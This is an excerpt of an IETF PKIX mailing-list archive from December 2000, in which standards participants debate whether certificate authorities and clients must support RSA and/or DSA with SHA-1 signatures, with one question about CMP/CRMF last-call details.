> S/MIME, SSL, IPSec, etc. (in which case all those 
> applications will have to
> use the same algorithm) or the user has multiple certs.  You 
> can't have it
> both ways.
> 
> I suggest that the expectation of a single "omnicert" is 
> turning out to be
> naive.  Already with existing deployments, users have 
> different certs for
> their different applications.  Even users of integrated 
> applications (say, a
> browser & S/MIME app) tend to have distinct certs for each protocol.
> 
> > If PKIX decides to specify MUSTs or SHOULDs, they should be 
> designed to
> > support broad interoperability.
> 
> Yes, but what kind of interoperability?  Does an S/MIME cert 
> have to be
> interoperable with an SSL cert?  Put another way, will an 
> S/MIME application
> ever need to use or process an SSL or IPSec cert?  I say no.  
> If you accept
> that, then interoperability across all protocols becomes meaningless.
> 
> So it makes sense for the algorithm decision to be in the hands of the
> protocols that adopt PKIX.  In fact, the "users" of PKIX are 
> really other
> IETF protocols.  Therefore, I suggest that PKIX have only one 
> MUST with
> respect to algorithms:
> 
>    Protocols that adopt PKIX SHALL require their applications 
> to implement
>    one of the PKIX-compliant algorithms described in [RFCx], 
> [RFCy] and
> [RFCz].
>    PKIX implementors SHOULD implement the algorithm(s) required by the
>    protocol(s) which their PKIX implementation will support.
> 
> This is a kind of meta-requirement for using PKIX, and I 
> don't know if IETF
> rules allow for that sort of thing.  But I do think it's a 
> reasonable way
> forward, because other protocols are then free to make the 
> best choices for
> themselves.  S/MIME, for example, could say "implementations SHALL use
> [PKIX1] certificates that contain an RSA public key and that 
> are signed using
> RSASHA1."  IPSec could make similar requirements for, say, 
> DSA & DH.  As long
> as nobody tries to use their S/MIME cert for their VPN, 
> things will work.
> 
> One final note: People who want to build generic PKIX 
> toolkits are likely
> going to need to implement all the PKIX-compliant algorithms. 
>  This is pretty
> much a given anyway (look at the existing toolkits).  What's 
> really at issue
> are application developers who aren't using a general PKIX toolkit.
> 
> 		Marc
> 
> +-------------------------------------------------------------
> -----------+
>  Marc Branchaud                                  \/
>  Chief PKI Architect                             /\CERT 
> INTERNATIONAL INC.
>  marcnarc@xcert.com        PKI References page:              
www.xcert.com
 604-640-6227          www.xcert.com/~marcnarc/PKI/
+------------------------------------------------------------------------+


Received: from karon.dynas.se (karon.dynas.se [192.71.43.4]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA21592 for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 05:57:08 -0800 (PST)
Received: (qmail 90815 invoked from network); 22 Dec 2000 14:00:34 -0000
Received: from spirit.sto.dynas.se (HELO spirit.dynas.se) (172.16.1.10) by karon.sto.dynas.se with SMTP; 22 Dec 2000 14:00:34 -0000
Received: (qmail 27671 invoked from network); 22 Dec 2000 14:00:33 -0000
Received: from dhcp28.ua.dynas.se (10.131.2.178) by spirit.dynas.se with SMTP; 22 Dec 2000 14:00:33 -0000
Date: Fri, 22 Dec 2000 15:01:22 +0100 (W. Europe Standard Time)
From: Magnus Nystrom <magnus@rsasecurity.com>
To: ietf-pkix@imc.org
cc: "Richards, Gareth" <GRichards@rsasecurity.com>
Subject: Re: WG Last Call, RFC 2510bis
In-Reply-To: <4.2.0.58.20010119094641.01f15320@email.nist.gov>
Message-ID: <Pine.WNT.4.10.10012221457300.-855923@mnystrom-lap.ua.dynas.se>
X-X-Sender: magnus@[172.16.1.10]
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Dear CMP and CRMF editors,

In response to the last-call on rfc2510bis and rfc2511bis, we do have a
couple of related questions. While answers to these may exist in the
documents we have not been able to find them.

a) What is a CMP client which receives a PKIMessage response with a
PKIStatus of "waiting" supposed to do? A procedure for CMP using TCP
as transport seems to be to use the pollRep/pollReq pair, but it
seems as if polling should be part of CMP rather than dependent on
its transport?

b) In ir, cr and kur message types, the CertReqMessages SEQUENCE
has the following restrictions (see Appendix B4 and rfc2510bis-02):

1. The SEQUENCE can contain one or two CertReqMsg structures.
2. The first request MUST contain a public key in the certTemplate.
3. The second request if present MUST NOT contain the public key
   bits in the certTemplate

This therefore restricts server side key generation to situations where
two certification requests are being made.  This seems overly restrictive
especially in the kur/kup situation where an end-entity would generally
only update one key pair.

It is not clear why the two CertReqMsg structures are restricted in
this way. We therefore propose that restrictions 2 and 3 above are
removed and that the two requests are treated equivalently.

c) Related to b), when a CMP client chooses not to include a public
key in a certTemplate, how shall it inform the RA/CA of the
particular algorithm it wishes the CA to generate a key for? And
parameters - e.g. "Please generate a 1024 bit RSA key with F4 as
public exponent".

Any clarifications or comments would be most welcome.

Thanks,
-- Magnus Nystrom & Gareth Richards,
RSA Security



Received: from home.x509.com (home.x509.com [199.175.150.4]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA01331 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 16:27:28 -0800 (PST)
Received: from xcert.com (trinity.rnd.x509.com [10.8.34.28]) by home.x509.com (8.11.0/XCERT) with ESMTP id eBM0Upk35303 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 16:30:51 -0800 (PST)
Sender: marcnarc@xcert.com
Message-ID: <3A42A01F.A8B1EE7A@xcert.com>
Date: Thu, 21 Dec 2000 16:28:15 -0800
From: Marc Branchaud <marcnarc@xcert.com>
Organization: Xcert International Inc.
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en, fr
MIME-Version: 1.0
To: ietf-pkix@imc.org
Subject: Re: Required Algorithms for Certificates
References: <4.2.0.58.20001221162051.01e8f580@email.nist.gov>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tim Polk wrote:
> 
> Folks,
> 
> Since different algorithms are a natural fit for different applications,
> the selection of a single MUST algorithm for PKIX seems a bad idea.  That
> is the reason Jeff Schiller let us avoid this issue in the first place.  If
> S/MIME chooses RSA but IPsec chooses DSA and D-H, we would be in conflict
> with at least one of them.  PKIX should not be in the position of dictating
> algorithms to other working groups.

There's the rub.  PKIX can't choose a (set of) algorithm(s) because PKIX is
so broadly applicable that any choice would shut out a particular community. 
It looks like algorithm choice is really up to the application.

That would be fine, but there seems to be an expectation that there is only
one certificate for a given entity, and that an entity is expected to use its
one certificate for all its applications.

Those two positions are irreconcilable.  Either a user has one cert for
S/MIME, SSL, IPSec, etc. (in which case all those applications will have to
use the same algorithm) or the user has multiple certs.  You can't have it
both ways.

I suggest that the expectation of a single "omnicert" is turning out to be
naive.  Already with existing deployments, users have different certs for
their different applications.  Even users of integrated applications (say, a
browser & S/MIME app) tend to have distinct certs for each protocol.

> If PKIX decides to specify MUSTs or SHOULDs, they should be designed to
> support broad interoperability.

Yes, but what kind of interoperability?  Does an S/MIME cert have to be
interoperable with an SSL cert?  Put another way, will an S/MIME application
ever need to use or process an SSL or IPSec cert?  I say no.  If you accept
that, then interoperability across all protocols becomes meaningless.

So it makes sense for the algorithm decision to be in the hands of the
protocols that adopt PKIX.  In fact, the "users" of PKIX are really other
IETF protocols.  Therefore, I suggest that PKIX have only one MUST with
respect to algorithms:

   Protocols that adopt PKIX SHALL require their applications to implement
   one of the PKIX-compliant algorithms described in [RFCx], [RFCy] and
[RFCz].
   PKIX implementors SHOULD implement the algorithm(s) required by the
   protocol(s) which their PKIX implementation will support.

This is a kind of meta-requirement for using PKIX, and I don't know if IETF
rules allow for that sort of thing.  But I do think it's a reasonable way
forward, because other protocols are then free to make the best choices for
themselves.  S/MIME, for example, could say "implementations SHALL use
[PKIX1] certificates that contain an RSA public key and that are signed using
RSASHA1."  IPSec could make similar requirements for, say, DSA & DH.  As long
as nobody tries to use their S/MIME cert for their VPN, things will work.

One final note: People who want to build generic PKIX toolkits are likely
going to need to implement all the PKIX-compliant algorithms.  This is pretty
much a given anyway (look at the existing toolkits).  What's really at issue
are application developers who aren't using a general PKIX toolkit.

		Marc

+------------------------------------------------------------------------+
 Marc Branchaud                                  \/
 Chief PKI Architect                             /\CERT INTERNATIONAL INC.
 marcnarc@xcert.com        PKI References page:              www.xcert.com
 604-640-6227          www.xcert.com/~marcnarc/PKI/
+------------------------------------------------------------------------+


Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA00555; Thu, 21 Dec 2000 15:51:05 -0800 (PST)
Mime-Version: 1.0
X-Sender: phoffvpnc@mail.vpnc.org
Message-Id: <p0501041eb66846dec6c1@[165.227.249.17]>
In-Reply-To: <4.2.0.58.20001221162051.01e8f580@email.nist.gov>
References: <4.2.0.58.20001221162051.01e8f580@email.nist.gov>
Date: Thu, 21 Dec 2000 15:53:35 -0800
To: Tim Polk <tim.polk@nist.gov>, ietf-pkix@imc.org
From: Paul Hoffman / VPNC <paul.hoffman@vpnc.org>
Subject: RE: Required Algorithms for Certificates
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 5:04 PM -0500 12/21/00, Tim Polk wrote:
>If PKIX decides to specify MUSTs or SHOULDs, they should be designed 
>to support broad interoperability.

Exactly. It is easier to get interoperability with one algorithm than 
with two, particularly when one of those algorithms hasn't been 
widely implemented and tested in products.

>Interoperability is a prime concern here at NIST.  In terms of 
>algorithm independence, we have come to the conclusion that 
>interoperability *requires* multi-algorithm clients.

Could you explain the logic there a bit more? If only one algorithm 
is mandated, how does that leasd to less interoperability?

>This implies that we need to move the burden to the clients, even 
>though that will impact many clients.

Here we disagree. Do you *really* think that all the IPsec 
implementations and all the S/MIME implementations are going to add 
DSA support? That is certainly not what I hear from the members of my 
organizations; even the ones who do DSA support are not sure that it 
works that well because it is rarely tested.

>   If a PKIX client can validate both DSA and RSA signatures, it can 
>handle certificates from any CA when signed with a PKIX-specified 
>algorithm.

If we only mandate RSA, well, you can fill in the rest...

>The question is whether multiple algorithm support is a practical 
>requirement for clients.  I just took a few minutes to scan the FIPS 
>140-1 validated crypto module list.  This list currently has 130 
>modules - some hardware, some software.  (For those interested, see 
>http://csrc.nist.gov/cryptval/140-1/1401val.htm)  Many of those 
>cryptographic modules already support multiple signature algorithms. 
>I didn't count, but it appears that most of the recent products 
>(both hardware and software) support both DSA and RSA for signatures.
>
>To me, this implies that multiple algorithm support is reasonable 
>unless the device footprint must be very small.  This may be a 
>biased data set, though.  Validated products are required to support 
>at least one FIPS-approved algorithm, and RSA has only recently 
>become a FIPS-approved algorithm.

Bingo: that obviously skewed the requirements. In the IPsec and 
S/MIME space, there was no such requirement (that is, S/MIME vendors 
simply ignore the v3 specs), and there are almost no commercial or 
even freeware implementations using DSA.

--Paul Hoffman, Director
--VPN Consortium


Received: from femail7.sdc1.sfba.home.com (femail7.sdc1.sfba.home.com [24.0.95.87]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA00132 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 15:39:44 -0800 (PST)
Received: from CC787228-A ([24.180.131.6]) by femail7.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20001221234308.ZGFF16755.femail7.sdc1.sfba.home.com@CC787228-A>; Thu, 21 Dec 2000 15:43:08 -0800
Received: by localhost with Microsoft MAPI; Thu, 21 Dec 2000 18:45:48 -0500
Message-ID: <01C06B7E.3BDCA0A0.aarsenault@dvnet.com>
From: Al Arsenault <aarsenault@dvnet.com>
To: "'Tim Polk'" <tim.polk@nist.gov>, "ietf-pkix@imc.org" <ietf-pkix@imc.org>
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 18:45:46 -0500
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
Encoding: 92 TEXT

Tim,

	Comments in-line, prefaced by my initials "AWA".

-----Original Message-----
From:	Tim Polk [SMTP:tim.polk@nist.gov]
Sent:	Thursday, December 21, 2000 5:05 PM
To:	ietf-pkix@imc.org
Subject:	RE: Required Algorithms for Certificates

Folks,

Since different algorithms are a natural fit for different applications,
the selection of a single MUST algorithm for PKIX seems a bad idea.  That
is the reason Jeff Schiller let us avoid this issue in the first place.  If 
S/MIME chooses RSA but IPsec chooses DSA and D-H, we would be in conflict
with at least one of them.  PKIX should not be in the position of dictating 
algorithms to other working groups.  If PKIX decides to specify MUSTs or
SHOULDs, they should be designed to support broad interoperability.

AWA: Agreed.

Interoperability is a prime concern here at NIST.  In terms of algorithm
independence, we have come to the conclusion that interoperability
*requires* multi-algorithm clients.  Yes, it would be nice to move the
burden to CAs since there will be relatively few CAs.  However, CAs that
can sign with multiple algorithms doesn't help clients that verify with
only one unless they issue each certificate multiple times, using each
supported signing algorithm.  Not a solution, IMHO!

AWA: Agreed, in general.  Although we've found that for some specialized 
cases, it winds up being easier to just issue two certs, one with each of 
two signing algorithms.  That way it means we can support a wider set of 
clients, without having to modify them. I certainly don't want to force 
that solution on the populace at large; I'm just saying that it sometimes 
works out to be an acceptable solution.

This implies that we need to move the burden to the clients, even though
that will impact many clients.  If a PKIX client can validate both DSA and
RSA signatures, it can handle certificates from any CA when signed with a
PKIX-specified algorithm.  The client will never be forced to reject the
certificate based on the signing algorithm - to me, that's
interoperability.  (I am assuming, of course, that the client knows how to
use the end entity's public key.  If the certificate contains a D-H key,
and the client can't do D-H we still break down.  It wasn't the signature
algorithm on the certificates that broke it, though...)

AWA: Here I disagree.  As Ari has already pointed out, PKIX - and Russ' 
suggestion - allows the CA to use whatever algorithm it wants.  Thus, a CA 
can use ECDSA (to pick on one algorithm) and it's still completely 
PKIX-compliant, as long as it could have also done RSA but chose not to. 
Any client that doesn't support ECDSA will choke on this certificate, and 
reject it with some error message or another. Thus, we have "PKIX 
compliance" at both the client and CA, but no interoperability.

The question is whether multiple algorithm support is a practical
requirement for clients.  I just took a few minutes to scan the FIPS 140-1
validated crypto module list.  This list currently has 130 modules - some
hardware, some software.  (For those interested, see
http://csrc.nist.gov/cryptval/140-1/1401val.htm)  Many of those
cryptographic modules already support multiple signature algorithms.   I
didn't count, but it appears that most of the recent products (both
hardware and software) support both DSA and RSA for signatures.

To me, this implies that multiple algorithm support is reasonable unless
the device footprint must be very small.  This may be a biased data set,
though.  Validated products are required to support at least one
FIPS-approved algorithm, and RSA has only recently become a FIPS-approved
algorithm.

AWA: for typical "Internet clients", you're almost assuredly right. 
 However, I tend to work with a set of client devices that are more 
constrained than most Internet developers typically see, so I'm 
particularly sensitive to this.  (If anyone has ever tried to implement a 
PKI client on a device with less than a 23 byte stack and 147 bytes of RAM, 
let me know.  :-)

Anyway, I personally like Russ's proposal.  I believe it doesn't put too
great a burden on PKI clients and would foster interoperability.

AWA:  I'm more inclined to say that DSA should be a "SHOULD" at this point. 
Yes, as Phill pointed out, it seems to be breaking faith with those who 
implemented non-RSA PKIX, and so I wouldn't be terribly saddened to see DSA 
be a "MUST", but I'd rather it be a SHOULD for the client at this point.

My $0.02 (which may in fact be overpriced.)

Thanks,

Tim Polk

		Al Arsenault



Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA26998 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 14:01:16 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id RAA05353 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 17:04:39 -0500 (EST)
Message-Id: <4.2.0.58.20001221162051.01e8f580@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 21 Dec 2000 17:04:37 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: RE: Required Algorithms for Certificates
In-Reply-To: <20001221204534.14012.cpmta@c013.sfo.cp.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Folks,

Since different algorithms are a natural fit for different applications, 
the selection of a single MUST algorithm for PKIX seems a bad idea.  That 
is the reason Jeff Schiller let us avoid this issue in the first place.  If 
S/MIME chooses RSA but IPsec chooses DSA and D-H, we would be in conflict 
with at least one of them.  PKIX should not be in the position of dictating 
algorithms to other working groups.  If PKIX decides to specify MUSTs or 
SHOULDs, they should be designed to support broad interoperability.

Interoperability is a prime concern here at NIST.  In terms of algorithm 
independence, we have come to the conclusion that interoperability 
*requires* multi-algorithm clients.  Yes, it would be nice to move the 
burden to CAs since there will be relatively few CAs.  However, CAs that 
can sign with multiple algorithms doesn't help clients that verify with 
only one unless they issue each certificate multiple times, using each 
supported signing algorithm.  Not a solution, IMHO!

This implies that we need to move the burden to the clients, even though 
that will impact many clients.  If a PKIX client can validate both DSA and 
RSA signatures, it can handle certificates from any CA when signed with a 
PKIX-specified algorithm.  The client will never be forced to reject the 
certificate based on the signing algorithm - to me, that's 
interoperability.  (I am assuming, of course, that the client knows how to 
use the end entity's public key.  If the certificate contains a D-H key, 
and the client can't do D-H we still break down.  It wasn't the signature 
algorithm on the certificates that broke it, though...)

The question is whether multiple algorithm support is a practical 
requirement for clients.  I just took a few minutes to scan the FIPS 140-1 
validated crypto module list.  This list currently has 130 modules - some 
hardware, some software.  (For those interested, see 
http://csrc.nist.gov/cryptval/140-1/1401val.htm)  Many of those 
cryptographic modules already support multiple signature algorithms.   I 
didn't count, but it appears that most of the recent products (both 
hardware and software) support both DSA and RSA for signatures.

To me, this implies that multiple algorithm support is reasonable unless 
the device footprint must be very small.  This may be a biased data set, 
though.  Validated products are required to support at least one 
FIPS-approved algorithm, and RSA has only recently become a FIPS-approved 
algorithm.

Anyway, I personally like Russ's proposal.  I believe it doesn't put too 
great a burden on PKI clients and would foster interoperability.

My $0.02 (which may in fact be overpriced.)

Thanks,

Tim Polk



Received: from OHTHREE.jjj-i.com ([64.64.35.60]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA26265 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 13:52:08 -0800 (PST)
Received: by OHTHREE.jjj-i.com with Internet Mail Service (5.5.2650.21) id <ZK4Z0YCV>; Thu, 21 Dec 2000 16:54:54 -0500
Message-ID: <30F37C4533D8564FB1D58BFDAF6687C104ADEE@OHTHREE.jjj-i.com>
From: "Singer, Ari" <ASinger@ntru.com>
To: jimsch@exmsft.com, "'Al Arsenault'" <aarsenault@dvnet.com>, ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 16:54:54 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Hi, everyone.

This is my first posting to this list, so please indulge me if I am not 100%
familiar with all of the context here.  My apologies also for the length of
this posting.  I guess I should comment more often to keep the size down. :)

I would like to get a little clarification about what exactly our goal is in
specifying MUSTs, SHOULDs and MAYs for these algorithms.  It seems to me
that there are two primary goals, which are interoperability and ease of
deployment for the maximum number of implementations.  Which of these two
goals takes precedence when there is a choice, I would love to know
(although I am certain there won't be concensus on that issue).  There also
seem to be lots of other variables that creep into the discussions like
timing of when things will be deployed.

The interoperability question is the most confusing part for me.  In both
Al's example and Russ's example, the CA and the client MUST be able to
interoperate with each other.  The difference is that in Russ's case, a
certificate owner can always get a single certificate from any CA that all
complying client's can verify (that isn't to say that the client necessarily
trusts the CA).  In Al's case, the certificate owner can get two
certificates from any CA (one with RSA and one with DSA) and then if the
certificate owner knows which one the client needs, they are also okay.   

One point I want to make is that in both cases, two entities will not
interoperate if one party has a certificate that is signed with an alternate
algorithm (like ECC) and the other doesn't verify that, yet this is allowed.
What this says to me is that we are always allowing non-interoperability
between implementations that comply with the standard.  If that is the case,
what is the actual meaning of having a MUST implement?  

As far as my personal opinion goes, I agree with Al that it makes sense to
try to minimize the number of MUSTs on the client side because clients are
far more likely than CAs to have processing/memory constraints.  Forcing
multiple algorithms on a client could prove to be burdensome, whereas
forcing the CAs to implement more than one algorithm probably isn't as
painful (although I'm sure someone might argue that there are infrastructure
costs for CAs).   

That being said, I have thought a bit about what should be mandatory and
what shouldn't and why.  Here are my recommendations and reasons for the
choices.  I would welcome any comments on this.

CAs MUST be able to sign certificates and CRLs with the following:
         - RSA with SHA-1. (Because at the San Diego meeting, the general
consensus was that for future applications, RSA (at least) should be a MUST
implement)

CAs MAY be able to sign certificates and CRLs with the following:
         - DSA with SHA-1. (Because it is certainly an acceptable algorithm
and there may be existing applications that need DSA.  It seems, though,
that future signatures probably won't have to be DSA as much, since most
everyone will be able to verify RSA signatures.)

CAs MAY also sign certificates and CRLs with any additional algorithms that
they wish. (Because there may be good reasons to use other algorithms for
particular applications.)

Certificate users MUST be able to validate signatures on certificates and
CRLs with the following:
         - RSA with SHA-1. (Because we need to have interoperability and
everybody (except constrained devices) likes RSA now that it is no longer
covered by patents.)

Certificate users SHOULD be able to validate signatures on certificates and
CRLs with the following:
         - DSA with SHA-1. (Because we don't want to force clients to
support multiple algorithms, but they are likely to encounter DSA
certificates.)

Certificate users MAY be able to validate signatures on certificates and
CRLs with any algorithm that they wish. (Clearly, clients should be allowed
to verify any certificates CAs are allowed to sign.)

Clearly the above solution allows people to not be interoperable, but I
haven't seen any proposal (and I don't think there should be one) that
outlaws non-interoperability.

Well, I think that's all for now.  If you made it this far down the e-mail,
thanks for reading! :)

Best regards,
Ari

Ari Singer, Principal Engineer
NTRU
5 Burlington Woods
Burlington, MA 01803
Main: (781) 221-0017
Personal: (781) 221-1306
Fax: (781) 221-0117


-----Original Message-----
From: Jim Schaad [mailto:jimsch5@home.com]
Sent: Thursday, December 21, 2000 2:56 PM
To: 'Al Arsenault'; ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates


OK Al,

If we go with your proposal, your client validates RSA with SHA-1 and my CA
generates DSA with SHA-1.  We are in the situtation of no interop.

If we uses the rules stated in the posting by Russ, we always have interop.

jim

-----Original Message-----
From: Al Arsenault [mailto:aarsenault@dvnet.com]
Sent: Thursday, December 21, 2000 11:52 AM
To: 'Russ Housley'; ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates


Russ, et alia,

	While I wasn't in San Diego and thus I'm not up to speed on those
particular discussions, this proposal seems backward to me.  It seems to
put the complexity (specifically, support for multiple algorithms) on the
client, vice the server.  Generally, I prefer to see the complexity put on
the server, and let the clients be simpler.  (This is in line with certain
other standards bodies/industry fora, which mandate/recommend/whatever that
CAs support all of RSA, DSA, and ECDSA, and let clients support whichever
one they want.)

	So my recommendation would be that:

	CAs MUST be able to sign certificates and CRLs with all of the
following:

		RSA with SHA-1, and
		DSA with SHA-1

	Certificate users MUST be able to validate signatures on
certificates and
CRLs with at least one of the following:

		RSA with SHA-1, or
		DSA with SHA-1.

	(This of course begs a number of questions, like: do CAs have to
sign CRLs
if they support OCSP instead; do certificate users have to be able to
process CRLs if they instead rely on OCSP?, etc.)

	In response to Ambarish's posting, and to Bob Jeunemann's and
others'
earlier postings about whether DSA should really be a MUST since almost
nobody uses it, my personal believe is that DSA should be a MUST just in
case there are any backward compatibility issues that might come up.  If
it's not a MUST, then I strongly prefer SHOULD to MAY. If DSA becomes less
than a MUST, then of course the requirements above reduce to "CAs and
clients MUST support RSA with SHA-1", with appropriate wording for DSA.

			Al Arsenault
			Chief Security Architect
			Diversinet Corp.



-----Original Message-----
From:	Russ Housley [SMTP:housley@spyrus.com]
Sent:	Wednesday, December 20, 2000 12:06 PM
To:	ietf-pkix@imc.org
Subject:	Re: Required Algorithms for Certificates

As everyone who was at the meeting in San Diego knows, this posting lead to
a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those
discussions, I suggest a possible way forward for son-of-rfc2459.

CAs MUST be able to sign certificates and CRLs with at least one of the
following:
         - DSA with SHA-1, or
         - RSA with SHA-1.

CAs MAY sign certificates and CRLs with any additional algorithms that they
wish.

Certificate users MUST be able to validate signatures on certificates and
CRLs with all of the following:
         - DSA with SHA-1, and
         - RSA with SHA-1.

Certificate users MAY validate signatures on certificates and CRLs with any
additional algorithms that they wish.

Russ

At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
>In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt)
again,
>I remembered that I did have one problem with the draft.  I think that it
is
>fine that the certificate structure draft does not contain algorithm
>information.  However I feel that the algorithms draft needs to have some
>MUST style statements contained in it.  I propose adding the following
text:
>
>To fully comply with this document, implementations MUST support DSA
>Signature (section 2.2.2).  Implementations MAY support MD2 RSA signatures
>for validation but MUST NOT create new certificates using this algorithm.
>Implementations MAY support all other algorithms in this document at their
>discretion.
>
>jim schaad



Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA24547; Thu, 21 Dec 2000 13:23:30 -0800 (PST)
Mime-Version: 1.0
X-Sender: phoffvpnc@mail.vpnc.org
Message-Id: <p05010416b66822ef557e@[165.227.249.17]>
In-Reply-To: <5.0.1.4.2.20001220115811.029c49c0@mail.spyrus.com>
References: <5.0.1.4.2.20001220115811.029c49c0@mail.spyrus.com>
Date: Thu, 21 Dec 2000 13:26:30 -0800
To: Russ Housley <housley@spyrus.com>, <ietf-pkix@imc.org>
From: Paul Hoffman / VPNC <paul.hoffman@vpnc.org>
Subject: Re: Required Algorithms for Certificates
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:05 PM -0500 12/20/00, Russ Housley wrote:
>Certificate users MUST be able to validate signatures on 
>certificates and CRLs with all of the following:
>         - DSA with SHA-1, and
>         - RSA with SHA-1.

At the VPN bakeoff in San Diego in January of this year, only a tiny 
fraction of the IPsec implementations could verify DSA certs. Heck, 
some of the CA vendors there weren't able to issue DSA certs for 
testing.

Given that VPNs are one of the major users of the PKIX protocol (and 
are arguably the largest base of deployed use of PKIX), having this 
WG say "almost all existing IPsec implementations are non-conformant" 
is somewhat harsh.

If we are interested in PKIX reflecting deployed reality, the 
document should be MUST RSA, MAY DSA for both CAs and cert users. 
Note the "MAY DSA" instead of "SHOULD DSA": the only reason a user 
would use DSA is if that is the only format supported by the CA, and 
few if any significant CAs did that. We should not say "SHOULD DSA" 
unless we believe that there is already widespread interoperability 
of DSA implementations; that seems unlikely, given how little public 
testing there has been for DSA certs.

--Paul Hoffman, Director
--VPN Consortium


Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA24114 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 13:09:23 -0800 (PST)
Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102]) by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id NAA07792; Thu, 21 Dec 2000 13:14:17 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21) id <ZG6730PZ>; Thu, 21 Dec 2000 13:12:34 -0800
Message-ID: <2F3EC696EAEED311BB2D009027C3F4F40154C74E@vhqpostal.verisign.com>
From: Philip Hallam-Baker <pbaker@verisign.com>
To: "'Al Arsenault'" <aarsenault@dvnet.com>, "'Russ Housley'" <housley@spyrus.com>, ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates
Date: Thu, 21 Dec 2000 13:12:33 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

I think that it is important to first recognize the reality that RSA is the
primary algorithm for PKIX and that clients MUST support it.

I don't think that it is appropriate to actually mandate any algorithm for
servers except in respect of support for interoperability testing since a CA
may have a policy of only issuing certs signed with one specific algorithm.
There is no particular advantage in having multiple algorithms for testing.
Mandating RSA therefore makes sense.

I don't think that servers should be mandated to support anything other than
RSA. Although the "Housely Compromise"[1] would be a way of avoiding
breaking faith with folk who went off and implemented non RSA PKIX.

We could mandate DSA for clients but I have not heard a compelling argument
on either side. The code is not exactly burdensome. I guess having made it a
MUST we can't really go back to SHOULD but we can add in a MUST.

So I guess the "Housely Compromise" makes sense.


	Phill

[1] Sounds like a landmark in diplomatic history n'est pas?

> -----Original Message-----
> From: Al Arsenault [mailto:aarsenault@dvnet.com]
> Sent: Thursday, December 21, 2000 2:52 PM
> To: 'Russ Housley'; ietf-pkix@imc.org
> Subject: RE: Required Algorithms for Certificates
> 
> 
> Russ, et alia,
> 
> 	While I wasn't in San Diego and thus I'm not up to 
> speed on those 
> particular discussions, this proposal seems backward to me.  
> It seems to 
> put the complexity (specifically, support for multiple 
> algorithms) on the 
> client, vice the server.  Generally, I prefer to see the 
> complexity put on 
> the server, and let the clients be simpler.  (This is in line 
> with certain 
> other standards bodies/industry fora, which 
> mandate/recommend/whatever that 
> CAs support all of RSA, DSA, and ECDSA, and let clients 
> support whichever 
> one they want.)
> 
> 	So my recommendation would be that:
> 
> 	CAs MUST be able to sign certificates and CRLs with all 
> of the following:
> 
> 		RSA with SHA-1, and
> 		DSA with SHA-1
> 
> 	Certificate users MUST be able to validate signatures 
> on certificates and 
> CRLs with at least one of the following:
> 
> 		RSA with SHA-1, or
> 		DSA with SHA-1.
> 
> 	(This of course begs a number of questions, like: do 
> CAs have to sign CRLs 
> if they support OCSP instead; do certificate users have to be able to 
> process CRLs if they instead rely on OCSP?, etc.)
> 
> 	In response to Ambarish's posting, and to Bob 
> Jeunemann's and others' 
> earlier postings about whether DSA should really be a MUST 
> since almost 
> nobody uses it, my personal believe is that DSA should be a 
> MUST just in 
> case there are any backward compatibility issues that might 
> come up.  If 
> it's not a MUST, then I strongly prefer SHOULD to MAY. If DSA 
> becomes less 
> than a MUST, then of course the requirements above reduce to "CAs and 
> clients MUST support RSA with SHA-1", with appropriate 
> wording for DSA.
> 
> 			Al Arsenault
> 			Chief Security Architect
> 			Diversinet Corp.
> 
> 
> 
> -----Original Message-----
> From:	Russ Housley [SMTP:housley@spyrus.com]
> Sent:	Wednesday, December 20, 2000 12:06 PM
> To:	ietf-pkix@imc.org
> Subject:	Re: Required Algorithms for Certificates
> 
> As everyone who was at the meeting in San Diego knows, this 
> posting lead to 
